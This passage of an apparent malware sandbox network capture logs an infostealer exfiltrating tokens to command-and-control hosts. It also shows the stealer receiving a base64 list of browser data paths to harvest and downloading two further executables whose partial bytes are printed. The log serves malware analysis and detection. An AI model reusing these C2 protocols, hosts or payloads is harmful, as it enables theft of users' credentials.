3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file"------ECGHCBGCBFHIIDHIJKFB--
Sep 30, 2024 12:22:59.686093092 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:59.690355062 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBKJKFIECAAAKFBFBF Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="message"ybncbhylepme------HJDBKJKFIECAAAKFBFBF--
Sep 30, 2024 12:22:59.883445978 CEST	411	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 184 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 32 5a 70 62 47 56 7a 4c 6e 5a 6c 63 6d 6c 30 59 58 4d 75 62 33 4a 6e 4c 6d 35 6e 4c 32 78 6b 62 58 4d 76 4e 6a 5a 6d 59 54 4a 68 5a 6d 4d 31 59 57 4a 6c 59 56 39 32 59 58 4e 6b 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 5a 6d 6c 73 5a 58 4d 75 64 6d 56 79 61 58 52 68 63 79 35 76 63 6d 63 75 62 6d 63 76 62 47 52 74 63 79 38 32 4e 6d 5a 68 4d 6d 49 77 4e 44 6b 77 4d 6a 42 6d 58 32 78 6b 62 6d 59 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovL2ZpbGVzLnZlcml0YXMub3JnLm5nL2xkbXMvNjZmYTJhZmM1YWJlYV92YXNkLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vZmlsZXMudmVyaXRhcy5vcmcubmcvbGRtcy82NmZhMmIwNDkwMjBmX2xkbmYuZXhlfDB8MHxTdGFydHw0fA==
Sep 30, 2024 12:23:02.848364115 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKF Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAAAKJDAAFBAAKEBAAKF--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	52545	147.45.44.104	80	8148	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:59.898590088 CEST	98	OUT	GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 12:23:00.518997908 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:00 GMT Content-Type: application/octet-stream Content-Length: 414248 Last-Modified: Mon, 30 Sep 2024 04:37:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2afc-65228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\(f"N@ `@ `@K`,(&> H.textT " `.rsrc`$@@.reloc@B0@H.;8`wrb CGA~zxFc@Qe88$aN!Q4f\dae94^Q8fvwWwHkQ,3A$#P)Sob+gY\o5m)2t5C&z7-Dq!oW2Fn;~9.q4lVOplm}':E/%2_g=7m0^hcz$cs?`t6@BM.
Sep 30, 2024 12:23:00.519104958 CEST	224	IN	Data Raw: 05 f9 22 76 43 cb 3b 27 2b 64 c6 b6 0f e0 3e e5 56 f2 5b ac 49 e2 c8 b4 48 25 22 1d 02 98 0b 9f 82 77 1b 45 84 8b 8a 0b e9 59 8d 95 cc f9 cd 46 f0 63 c8 cf 09 14 ff 14 bb 08 4d e2 84 fc 16 74 98 c9 5c f2 51 31 01 44 77 1c 95 f8 31 9b 8e b6 7c 8a Data Ascii: "vC;'+d>V[IH%"wEYFcMt\Q1Dw1\|C7+a'I++KdSVc/qpyy4"6+b47avuq}8SK&59&5:OgPS3jIqlK
Sep 30, 2024 12:23:00.519124031 CEST	1236	IN	Data Raw: 6c 1e 24 3e d1 d5 fb ea 11 4f 10 82 11 1e 9a ef 95 ed d9 04 18 75 10 6c 52 f1 00 7c 7f 4f bb c0 19 11 3c 59 cb 87 dc 71 bd e8 af 53 57 88 bd b4 b5 90 70 54 3f 33 bb 7e cb f1 9c ce cc 6a 06 23 66 9f b5 d3 b9 e1 1a 4a c4 95 99 3f 28 66 3f 3b 2c b7 Data Ascii: l$>OulR\|O<YqSWpT?3~j#fJ?(f?;,Y,6!S-c&)`Z]:'@\OufTdC}FT{(37R'vncocS"keKWCuA:e~kgx
Sep 30, 2024 12:23:00.519136906 CEST	1236	IN	Data Raw: b5 70 7d 3a ca ea 6b 68 c2 51 94 33 d9 3a da e4 66 2d df 23 65 56 fc d8 b4 55 2c 9f 73 f0 50 a7 91 ad 58 56 72 8c 56 d8 44 07 b7 d0 f1 cb 70 b0 93 43 64 9e ee a0 20 5a 4a 27 f9 bd 7d 2a 23 18 75 ec 22 e8 5a 0f d7 b0 9b 2d 41 e3 3f 75 62 8d 31 02 Data Ascii: p}:khQ3:f-#eVU,sPXVrVDpCd ZJ'}*#u"Z-A?ub1mkwI.y{h0S.&Kn[w$/<;^Xf0(Fy-U\|%@X?U('-dw.1qOgHTU$,^>ULFI{}0aIdgp" uR\|
Sep 30, 2024 12:23:00.519155979 CEST	1236	IN	Data Raw: 20 5d 43 0a 4b b3 99 c0 6f 3e 12 4f e7 ae 30 b7 a4 d2 9c 5e 4a f3 ec f9 be b8 0a 15 20 7d 15 85 fe a9 e6 24 93 fc be 7f e1 76 41 46 1e 36 b9 8d 4a b9 2a d0 f5 0c e8 6a 23 3f 24 73 8e aa 45 d1 dc 59 a3 12 0d 65 43 cc 12 1e 24 4e 6d f9 5a dc bc b6 Data Ascii: ]CKo>O0^J }$vAF6Jj#?$sEYeC$NmZ_[twQnsY7&pQq+1y;E^iEn?b,uCYWHc_t!1B+niM3!L99h+4Lpm*<(ucwJ)
Sep 30, 2024 12:23:00.519165993 CEST	672	IN	Data Raw: 82 63 c3 88 4a 5c 2f bd c8 03 67 82 ee c9 c8 5f d1 57 4f c6 f0 a5 92 c1 72 2e c1 13 1c 63 5d 74 73 80 7d 6e 7f 68 0c f5 a6 53 b1 4b e5 15 9a 4a 19 63 55 71 56 ac 8d fd 02 35 95 bb 40 99 37 b3 25 17 c1 7a f8 b8 ce 5f ab 0f 33 26 68 5f 28 c0 26 9e Data Ascii: cJ\/g_WOr.c]ts}nhSKJcUqV5@7%z_3&h_(&]P\GE8FPT\T=+4uLn~a1Z:YQ2ZDCa!EC^Sq{w-,+Q.b{DsNI
Sep 30, 2024 12:23:00.519176006 CEST	1236	IN	Data Raw: ce c7 eb 0e 88 7d ae 7c c7 34 8c 41 de 32 74 db 14 91 0b 80 0a 89 46 14 97 9e e9 6a 3b 46 a0 b7 a5 24 7a 43 14 14 51 9c ea 77 68 46 04 d7 d7 4c 5a 7c a3 10 06 f2 38 a5 b5 49 8d 82 c2 d7 58 87 11 4d ef 60 07 af eb 5b 10 a9 b8 ae f1 98 9a 0f cd 1c Data Ascii: }\|4A2tFj;F$zCQwhFLZ\|8IXM`[*Y1]>K c> &'xaC$ja9t"$G;a^OD>MV3b\|O2nA1N@IAc]BM6rq"B
Sep 30, 2024 12:23:00.519186020 CEST	1236	IN	Data Raw: 9f a6 50 94 5c 32 e7 9b 9f bc 36 85 76 7c 13 86 89 88 77 eb 4a 24 59 1b 35 a2 16 38 5f 84 8c be ac ee 60 82 b7 0b 5d e9 d7 28 84 79 db 9e d3 82 82 df 2e 51 a9 0d e9 32 15 d9 ec 9b 24 fa 7e 1d 33 c1 b6 53 a9 87 ab 66 b2 9c 77 8a 18 42 51 9b 8d db Data Ascii: P\26v\|wJ$Y58_`](y.Q2$~3SfwBQAXF33,e^V8A.Ed'IiZ>aS!ILx%\|<>Tupg91:wQ[PWi;B60F(tF^'Y\|39n%:<U:
Sep 30, 2024 12:23:00.519196987 CEST	1236	IN	Data Raw: 8f 10 bb d5 19 d3 82 47 83 a2 d9 f8 f7 80 32 49 67 cb 63 11 aa 9b d6 70 90 8b dc 58 ac b1 5f 0a a5 d8 f7 5a 65 00 25 6d 24 30 a8 08 33 2b 25 fc ea 64 08 c0 9a c2 fa cc 80 ef f0 4c c8 28 ee 46 8c 3c a0 5b ec 34 5b cb bb db aa 43 98 8d 56 99 74 d0 Data Ascii: G2IgcpX_Ze%m$03+%dL(F<[4[CVtiE2qu3'R _9Af!-SKI~`K<+w+/cP&9!VJ"cqk3VL_=J?0/.ynM&!hD,rV!thQX/$mOo
Sep 30, 2024 12:23:00.519207954 CEST	1236	IN	Data Raw: 4d 1d 53 ae 33 72 bb 8f 4d ca 63 c5 5d 51 48 8f 94 ce 99 70 e3 3a c2 3f a1 f0 52 f0 18 e0 a9 75 ed e9 db 88 1b 7a d3 55 6a db b8 31 66 17 47 fb 52 76 f7 17 51 4b 0a bf c5 41 1d 4a 59 ab 9e 1a 58 b3 52 a1 bf 25 bb 41 e4 8a 37 f0 1a fe 94 9d c1 79 Data Ascii: MS3rMc]QHp:?RuzUj1fGRvQKAJYXR%A7yb8kS{<yPkc's;1;GWl`5;_X0zSgj-a7d<O->-:1^<Gnz+~N^VqiS\(`g28RA
Sep 30, 2024 12:23:00.524045944 CEST	1236	IN	Data Raw: 65 31 fc b9 5e 33 91 5b d2 1f 05 cd 67 9a fd cc b3 f4 f3 91 26 4b 15 c5 58 ba 11 1b 4b 65 61 b0 cb be de 74 e2 57 bf c1 3b 2a 59 27 a5 36 1f ba 2d f6 02 fe a9 ab 69 0f bc 21 dd d0 6d af 68 3b f5 21 d4 3a db 96 5a 3c 59 ad d6 f1 a4 f1 6a 98 5d 9d Data Ascii: e1^3[g&KXKeatW;*Y'6-i!mh;!:Z<Yj]gqrsLEM90v38Tmv/S8`(`w7KjKX)T<,IfdySq#-^y5E4n2712NQ;BGi,Lu4bHN;
Sep 30, 2024 12:23:01.402323961 CEST	98	OUT	GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 12:23:01.585236073 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:01 GMT Content-Type: application/octet-stream Content-Length: 380456 Last-Modified: Mon, 30 Sep 2024 04:37:24 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2b04-5ce28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL/(fN @ `K(& H.textT `.rsrc@@.reloc@B0H@X15QTw{v^"S0ZoX\|oASDnEe5_0EA;$3Z!h;%r;GuR$'9V7O?C:\|,`2vq2tX/g=^n(?%NgQ%%Iro0Hf.w+^ci/'FFREt+v7Sg3}(H)u!_5Ybtj#*Jz^xiHxT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	52548	5.42.101.62	80	7296	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:23:05.743748903 CEST	87	OUT	GET / HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:23:06.725208044 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 12:23:06.728224039 CEST	434	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBF Host: urusvisa.com Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224-a33c7340-61ca------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------JKKKJJJKJKFHJJJJECBF--
Sep 30, 2024 12:23:07.273310900 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|419d040bacff7b62eff6a321cc684255\|1\|1\|1\|0\|0\|50000\|10
Sep 30, 2024 12:23:07.274769068 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHII Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="mode"1------DHDAKFCGIJKJKFHIDHII--
Sep 30, 2024 12:23:07.824685097 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 30, 2024 12:23:07.824763060 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 30, 2024 12:23:07.825982094 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIE Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 2d 2d 0d 0a Data Ascii: ------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; 